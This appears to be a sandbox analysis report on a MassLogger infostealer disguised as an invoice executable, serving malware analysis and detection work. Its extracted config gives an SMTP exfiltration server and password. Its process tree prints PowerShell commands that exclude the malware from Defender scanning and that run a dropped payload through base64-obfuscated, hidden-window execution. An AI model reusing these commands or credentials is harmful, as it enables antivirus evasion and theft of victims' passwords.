Analysis
- max time kernel
148s - max time network
147s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
10/09/2026, 07:14
General
- Target INVOICE 570098.exe
- Size 878KB
- Sample260910-h21wbasxay
- SHA256 d530513b58543e9ea09208dd27f0aed915585078a7b49a317a994e2b00a89d45
Malware Config
Extracted
-
Protocol
smtp
-
Host
mail.chen-tia.com
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Port
587
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Username
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Password
Payday2026
Extracted
-
masslogger
-
exfiltration_mode
#SMTPEnabled
-
expire_time_date
00-00-0000
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host_password
Payday2026
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host_port
587
- host_receiver
- host_sender
-
host_server
mail.chen-tia.com
-
ssl_slate
False
Signatures
- Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 2 IoCs
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 1 TTPs 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 15 IoCs
- Suspicious use of AdjustPrivilegeToken 27 IoCs
- Suspicious use of WriteProcessMemory 16 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\INVOICE 570098.exe"C:\Users\Admin\AppData\Local\Temp\INVOICE 570098.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\INVOICE 570098.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\INVOICE 570098.exe"C:\Users\Admin\AppData\Local\Temp\INVOICE 570098.exe"2⤵
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C:\Users\Admin\AppData\Local\Temp\INVOICE 570098.exe"C:\Users\Admin\AppData\Local\Temp\INVOICE 570098.exe"2⤵
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C:\Users\Admin\AppData\Local\Temp\INVOICE 570098.exe"C:\Users\Admin\AppData\Local\Temp\INVOICE 570098.exe"2⤵
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C:\Users\Admin\AppData\Local\Temp\INVOICE 570098.exe"C:\Users\Admin\AppData\Local\Temp\INVOICE 570098.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$n2rbvw=$env:COMPUTERNAME;$0qelr1=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$4bkjwl=[System.Environment]::TickCount;$lwnwhv=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXHlqLmV4ZQ==')));$4bkjwl=[System.Environment]::TickCount;& $0qelr1 -FilePath $lwnwhv"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\yj.exe"C:\Users\Admin\AppData\Roaming\yj.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\yj.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Users\Admin\AppData\Roaming\yj.exe"C:\Users\Admin\AppData\Roaming\yj.exe"3⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
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Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
2Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_4wnlahtx.bog.ps1
yj.exe
memory/2656-48-0x0000000075040000-0x00000000757FC000-memory.dmp
memory/2656-49-0x0000000006FA0000-0x0000000007162000-memory.dmp
memory/2656-14-0x0000000000400000-0x000000000041E000-memory.dmp
memory/2656-47-0x0000000006C80000-0x0000000006CD0000-memory.dmp
memory/2656-46-0x0000000075040000-0x00000000757FC000-memory.dmp
memory/2656-24-0x0000000075040000-0x00000000757FC000-memory.dmp
memory/2656-17-0x0000000075040000-0x00000000757FC000-memory.dmp
memory/3696-54-0x0000000005820000-0x0000000005B7B000-memory.dmp
memory/3696-56-0x00000000062A0000-0x00000000062EC000-memory.dmp
memory/3696-57-0x00000000712B0000-0x00000000712FC000-memory.dmp
memory/3696-60-0x0000000006F90000-0x0000000007033000-memory.dmp
memory/5008-18-0x0000000004FB0000-0x0000000004FD2000-memory.dmp
memory/5008-27-0x0000000006350000-0x000000000639C000-memory.dmp
memory/5008-16-0x0000000075040000-0x00000000757FC000-memory.dmp
memory/5008-13-0x0000000005390000-0x00000000059DA000-memory.dmp
memory/5008-20-0x00000000051F0000-0x0000000005256000-memory.dmp
memory/5008-19-0x0000000005050000-0x00000000050B6000-memory.dmp
memory/5008-12-0x0000000075040000-0x00000000757FC000-memory.dmp
memory/5008-23-0x00000000059E0000-0x0000000005D3B000-memory.dmp
memory/5008-45-0x0000000075040000-0x00000000757FC000-memory.dmp
memory/5008-15-0x0000000075040000-0x00000000757FC000-memory.dmp
memory/5008-25-0x00000000052B0000-0x00000000052CE000-memory.dmp
memory/5008-41-0x0000000007160000-0x000000000716A000-memory.dmp
memory/5008-40-0x00000000070F0000-0x000000000710A000-memory.dmp
memory/5008-11-0x0000000002550000-0x0000000002586000-memory.dmp
memory/5008-33-0x0000000006F30000-0x0000000006F66000-memory.dmp
memory/5008-37-0x0000000006F90000-0x0000000006FB0000-memory.dmp
memory/5008-42-0x0000000007360000-0x00000000073F6000-memory.dmp
memory/5008-34-0x0000000070050000-0x000000007009C000-memory.dmp
memory/5008-38-0x0000000006FB0000-0x0000000007053000-memory.dmp
memory/5008-39-0x0000000007730000-0x0000000007DAC000-memory.dmp
memory/5028-30-0x000002A8C21C0000-0x000002A8C21E2000-memory.dmp
memory/6004-26-0x0000000075040000-0x00000000757FC000-memory.dmp
memory/6004-10-0x0000000008600000-0x00000000086B8000-memory.dmp
memory/6004-9-0x0000000075040000-0x00000000757FC000-memory.dmp
memory/6004-0-0x0000000075052000-0x0000000075053000-memory.dmp
memory/6004-8-0x0000000075052000-0x0000000075053000-memory.dmp
memory/6004-7-0x0000000005D80000-0x0000000005D9E000-memory.dmp
memory/6004-6-0x0000000005C50000-0x0000000005CEC000-memory.dmp
memory/6004-5-0x0000000005AA0000-0x0000000005AAA000-memory.dmp
memory/6004-4-0x0000000075040000-0x00000000757FC000-memory.dmp
memory/6004-3-0x0000000005BB0000-0x0000000005C42000-memory.dmp
memory/6004-2-0x00000000060D0000-0x000000000668A000-memory.dmp
memory/6004-1-0x0000000000EA0000-0x0000000000F82000-memory.dmp